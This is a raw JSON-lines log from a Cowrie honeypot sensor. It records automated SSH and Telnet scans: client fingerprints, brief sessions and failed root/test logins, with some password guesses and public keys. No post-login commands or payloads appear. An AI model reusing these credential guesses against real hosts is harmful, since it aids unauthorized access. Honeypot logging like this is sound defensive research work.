{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:30.378053Z","src_ip":"161.35.205.74","session":"0da03328ea22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:30.463800Z","src_ip":"161.35.205.74","session":"0da03328ea22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#456qwe","message":"login attempt [root/!@#456qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:30.833949Z","src_ip":"161.35.205.74","session":"0da03328ea22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:31.921546Z","src_ip":"161.35.205.74","session":"0da03328ea22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60414,"dst_ip":"159.203.135.109","dst_port":23,"session":"337108435157","protocol":"telnet","message":"New connection: 170.64.224.25:60414 (159.203.135.109:23) [session: 337108435157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:34.106824Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":43712,"dst_ip":"10.17.0.5","dst_port":22,"session":"b97fcb8b5bb7","protocol":"ssh","message":"New connection: 91.92.40.4:43712 (10.17.0.5:22) [session: b97fcb8b5bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:35.657714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:35.662061Z","src_ip":"91.92.40.4","session":"b97fcb8b5bb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:35.742723Z","src_ip":"91.92.40.4","session":"b97fcb8b5bb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"passpass","message":"login attempt [test/passpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:35.987635Z","src_ip":"91.92.40.4","session":"b97fcb8b5bb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:37.070873Z","src_ip":"91.92.40.4","session":"b97fcb8b5bb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.9.81","src_port":54338,"dst_ip":"10.17.0.5","dst_port":22,"session":"f259149df77d","protocol":"ssh","message":"New connection: 104.194.9.81:54338 (10.17.0.5:22) [session: f259149df77d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:57.314413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:57.318578Z","src_ip":"104.194.9.81","session":"f259149df77d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:57.327436Z","src_ip":"104.194.9.81","session":"f259149df77d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:b5:c2:ed:f0:f5:ba:56:d9:67:92:44:04:c5:44:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLlACsDAEWEmTgc+qiimqSFV8718f7Au/MSQcV5bg8jYyzWdQBJWVUi3tMZdxfqCfiKsav1yRys+rI2yNvHuYEsrbyx9QI95u+0t/ba53SjGLU0N8s/vWnIsSHebLXLKmvmd6rwyB+Asj2q34rl0kF3HQM4hSEKD+jiFtSuJsYWknhWsJDfAkqMuf0Gm3eUmxmUVu/WajNx4gS11BPujGY2ps5td+mu7Sb5TjNRa3OR7OzAEPwNCfXvXkslZ0r+tOUUmIgtmt6aEdiAKC/Xc4opgI86dLWQn4IaSNU3I8bNDlmnxC4JCA1HDnwhI17CNMv9nyKmYLHKm4STuDzOCmD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:b5:c2:ed:f0:f5:ba:56:d9:67:92:44:04:c5:44:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:57.347698Z","src_ip":"104.194.9.81","session":"f259149df77d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:b5:c2:ed:f0:f5:ba:56:d9:67:92:44:04:c5:44:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLlACsDAEWEmTgc+qiimqSFV8718f7Au/MSQcV5bg8jYyzWdQBJWVUi3tMZdxfqCfiKsav1yRys+rI2yNvHuYEsrbyx9QI95u+0t/ba53SjGLU0N8s/vWnIsSHebLXLKmvmd6rwyB+Asj2q34rl0kF3HQM4hSEKD+jiFtSuJsYWknhWsJDfAkqMuf0Gm3eUmxmUVu/WajNx4gS11BPujGY2ps5td+mu7Sb5TjNRa3OR7OzAEPwNCfXvXkslZ0r+tOUUmIgtmt6aEdiAKC/Xc4opgI86dLWQn4IaSNU3I8bNDlmnxC4JCA1HDnwhI17CNMv9nyKmYLHKm4STuDzOCmD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:57.350358Z","src_ip":"104.194.9.81","session":"f259149df77d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:25:44:33:61:9d:5d:1f:ad:b0:5d:53:b6:c0:2c:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApLeBxQdjheB5CcmXeoeu9nH/vbIknc8gVsGdXqzE0JqOJbW9ZZ+lINs2kMYcYgKqo/ReOSHLld/Omu4d3u7A1o5Yjj6wKt4n57OhZHb/WDhnnioX8EaBg4oORDadVUfBJyMOGfYGtnrTU4bc/0y2bC8Zudfign6pUIO4gnGRgs5yMTVoTMLpjbJ0DJdHR2XaSUJ3DRGL3/dEIh6iC0XO8dG7SIHAgkzBgxKoc4fLMPx8kH84yZyLaBDclbAilLMtuaw2BAYdRNRZF0lFGAJZyrADg+/8pAsL9r2k79MhF8ht02XovdHwQQLjOsm4ymz0GEtjOLbGOXoZmS2A/D3S2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:25:44:33:61:9d:5d:1f:ad:b0:5d:53:b6:c0:2c:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:57.356760Z","src_ip":"104.194.9.81","session":"f259149df77d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:25:44:33:61:9d:5d:1f:ad:b0:5d:53:b6:c0:2c:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApLeBxQdjheB5CcmXeoeu9nH/vbIknc8gVsGdXqzE0JqOJbW9ZZ+lINs2kMYcYgKqo/ReOSHLld/Omu4d3u7A1o5Yjj6wKt4n57OhZHb/WDhnnioX8EaBg4oORDadVUfBJyMOGfYGtnrTU4bc/0y2bC8Zudfign6pUIO4gnGRgs5yMTVoTMLpjbJ0DJdHR2XaSUJ3DRGL3/dEIh6iC0XO8dG7SIHAgkzBgxKoc4fLMPx8kH84yZyLaBDclbAilLMtuaw2BAYdRNRZF0lFGAJZyrADg+/8pAsL9r2k79MhF8ht02XovdHwQQLjOsm4ymz0GEtjOLbGOXoZmS2A/D3S2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:57.359159Z","src_ip":"104.194.9.81","session":"f259149df77d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:5f:ba:19:33:06:fa:17:12:9d:e3:46:4b:49:3c:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjrhfwWuaq1X3C3PN3daRGkXGL/6c55IgL4NnZfdI2jPAxT50kjpDnFqGiT5HErqZb2ekJMUwxw0jtTXPZWe2kd1xJyaAhas1dZdcYY+Ca7qTObk6z70fzp4uX8fwUFlGFd2s2ZjzJbbitw/Ge6pPYpiKS1kDu2qw+No7gJXUmf7gBlGd2ghINCjs7F8XFXrylBVvmiZvdboXOz5ro8y1P3Q01fTBG+InVJKkaBUqyvd9222bWihpODI92xpZ9MywBVQsfyZcSFBJGn5J1aC14M7xP5QQj5sS+9kVcTUXrZRzXDHXVSmResOshq120B/BlVvACiYzAq8UVXDcOqJ4F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:5f:ba:19:33:06:fa:17:12:9d:e3:46:4b:49:3c:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:57.366778Z","src_ip":"104.194.9.81","session":"f259149df77d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:5f:ba:19:33:06:fa:17:12:9d:e3:46:4b:49:3c:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjrhfwWuaq1X3C3PN3daRGkXGL/6c55IgL4NnZfdI2jPAxT50kjpDnFqGiT5HErqZb2ekJMUwxw0jtTXPZWe2kd1xJyaAhas1dZdcYY+Ca7qTObk6z70fzp4uX8fwUFlGFd2s2ZjzJbbitw/Ge6pPYpiKS1kDu2qw+No7gJXUmf7gBlGd2ghINCjs7F8XFXrylBVvmiZvdboXOz5ro8y1P3Q01fTBG+InVJKkaBUqyvd9222bWihpODI92xpZ9MywBVQsfyZcSFBJGn5J1aC14M7xP5QQj5sS+9kVcTUXrZRzXDHXVSmResOshq120B/BlVvACiYzAq8UVXDcOqJ4F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:57.369859Z","src_ip":"104.194.9.81","session":"f259149df77d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:d8:31:f9:c8:ab:76:d4:8f:26:de:73:16:7b:e5:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZl9gyDKS9DME3PDIj8+6x1NXKfb0PopWMbVvqhap/ZdVQiL5l1qXKvGtMDQv8+YAsp+zzzvHoalB1FH+zIjTmXw8kI+eJag5eJYM5wKkNV3FhMfJbe3W3c81uIrMKKBrOOjjZw8J5Fvfl8Bd5SqT83Z363Hg/UIMRG88i910cxp9HQf5hFwnZStvn2OP6mkgw5BNQM7Q7CTF9SwfkCHNA0Umq8sSv6Ji9P/rTGyK9QzXMiNWw1Mgk5d8QCDJ/Jh3SWE/Nb/SSpbtoxlm36JbAP6dbF3QNjKbf8QqF2x3V6USIx9j/wTnMrVwgVnwZNFMrdpeGicGADYEdXy6cBM4X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:d8:31:f9:c8:ab:76:d4:8f:26:de:73:16:7b:e5:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:57.377762Z","src_ip":"104.194.9.81","session":"f259149df77d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:d8:31:f9:c8:ab:76:d4:8f:26:de:73:16:7b:e5:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZl9gyDKS9DME3PDIj8+6x1NXKfb0PopWMbVvqhap/ZdVQiL5l1qXKvGtMDQv8+YAsp+zzzvHoalB1FH+zIjTmXw8kI+eJag5eJYM5wKkNV3FhMfJbe3W3c81uIrMKKBrOOjjZw8J5Fvfl8Bd5SqT83Z363Hg/UIMRG88i910cxp9HQf5hFwnZStvn2OP6mkgw5BNQM7Q7CTF9SwfkCHNA0Umq8sSv6Ji9P/rTGyK9QzXMiNWw1Mgk5d8QCDJ/Jh3SWE/Nb/SSpbtoxlm36JbAP6dbF3QNjKbf8QqF2x3V6USIx9j/wTnMrVwgVnwZNFMrdpeGicGADYEdXy6cBM4X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:57.380746Z","src_ip":"104.194.9.81","session":"f259149df77d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:21:77:40:29:04:a0:da:62:f7:ec:ce:d2:aa:41:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLumgVOYXLJ5ICqZf+DvZ3tK5cevV+fB6feo1WO6bV25Bvl20+RpVpXKwZz9g84TEKTwgul8+GSVyn2lvUprcp5ihPvJb51WqhhUm1z6KPOb8xRDjGRrrWJvyKhRLNuvLTe6wzFOiYRvh0lg9LWCCTov0flSj5L6Yp0RLb9tntQlwA4acPC8EXF0hmo0k6rLiZarDvR0UWjjeavTqMDaV3FO9J2b77+dqGqpjTXbWYNNTOzgFMNeFxoNmsb2Gvs3d472ApNkzuCsNgH33WBxwGEfX5RHOeTrFRgsfnbqL4srg34tW+UwJdADsBBk/NJJfHt2Sh5tsb+2N5Pr8r57LX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:21:77:40:29:04:a0:da:62:f7:ec:ce:d2:aa:41:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:57.388468Z","src_ip":"104.194.9.81","session":"f259149df77d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:21:77:40:29:04:a0:da:62:f7:ec:ce:d2:aa:41:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLumgVOYXLJ5ICqZf+DvZ3tK5cevV+fB6feo1WO6bV25Bvl20+RpVpXKwZz9g84TEKTwgul8+GSVyn2lvUprcp5ihPvJb51WqhhUm1z6KPOb8xRDjGRrrWJvyKhRLNuvLTe6wzFOiYRvh0lg9LWCCTov0flSj5L6Yp0RLb9tntQlwA4acPC8EXF0hmo0k6rLiZarDvR0UWjjeavTqMDaV3FO9J2b77+dqGqpjTXbWYNNTOzgFMNeFxoNmsb2Gvs3d472ApNkzuCsNgH33WBxwGEfX5RHOeTrFRgsfnbqL4srg34tW+UwJdADsBBk/NJJfHt2Sh5tsb+2N5Pr8r57LX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:57.391447Z","src_ip":"104.194.9.81","session":"f259149df77d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:57.432130Z","src_ip":"104.194.9.81","session":"f259149df77d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":41354,"dst_ip":"159.203.135.109","dst_port":23,"session":"5433489afa9f","protocol":"telnet","message":"New connection: 137.184.5.188:41354 (159.203.135.109:23) [session: 5433489afa9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:22:00.546315Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":51992,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4451867b862","protocol":"ssh","message":"New connection: 194.59.206.2:51992 (159.203.135.109:22) [session: f4451867b862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:22:02.672199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:22:02.676810Z","src_ip":"194.59.206.2","session":"f4451867b862","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:22:02.776559Z","src_ip":"194.59.206.2","session":"f4451867b862","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:22:02.880216Z","src_ip":"194.59.206.2","session":"f4451867b862","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.202.92.17","src_port":49912,"dst_ip":"10.17.0.5","dst_port":22,"session":"16b8e7e70f41","protocol":"ssh","message":"New connection: 144.202.92.17:49912 (10.17.0.5:22) [session: 16b8e7e70f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:22:09.914739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:22:10.049204Z","src_ip":"144.202.92.17","session":"16b8e7e70f41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:22:10.051964Z","src_ip":"144.202.92.17","session":"16b8e7e70f41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:22:10.761317Z","src_ip":"144.202.92.17","session":"16b8e7e70f41","protocol":"ssh"}
